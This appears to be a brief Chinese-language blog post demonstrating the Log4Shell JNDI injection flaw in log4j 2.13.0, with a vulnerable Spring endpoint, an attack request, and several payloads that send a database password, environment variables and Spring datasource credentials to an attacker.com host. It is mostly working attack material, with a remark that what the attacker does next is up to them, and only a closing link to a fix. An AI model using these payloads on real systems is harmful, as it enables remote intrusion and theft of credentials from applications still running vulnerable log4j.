目录:
引入依赖
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.0</version> </dependency>
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.0</version> </dependency>
|
单元测试
1 2 3 4
| public static void main(String[] args) { Logger logger = new LoggerContext("root").getLogger("xxxxxxx"); logger.error("${jndi:ldap://localhost:8081/abcde}"); }
|
引用场景
1、你有一个互联网应用
1 2 3 4 5
| @GetMapping("search") public String search(@RequestParam String keyword) { log.info("search keyword is " + keyword); return "ok"; }
|
2、模拟攻击
1
| GET /xxx/search?keyword=${jndi:ldap://攻击者准备的一个服务器地址/abcde}
|
3、这样就完成了让对方服务器加载你的一个地址;至于能做什么看你怎么想了
1 2 3 4 5 6 7 8
| ${jndi:ldap://${sys:db.password}.attacker.com:1389/a}
${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}}
${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}
${jndi:ldap://${bundle:application:spring.datasource.password}.attacker.com:1389/a}
|
关注
https://github.com/apache/logging-log4j2/pull/608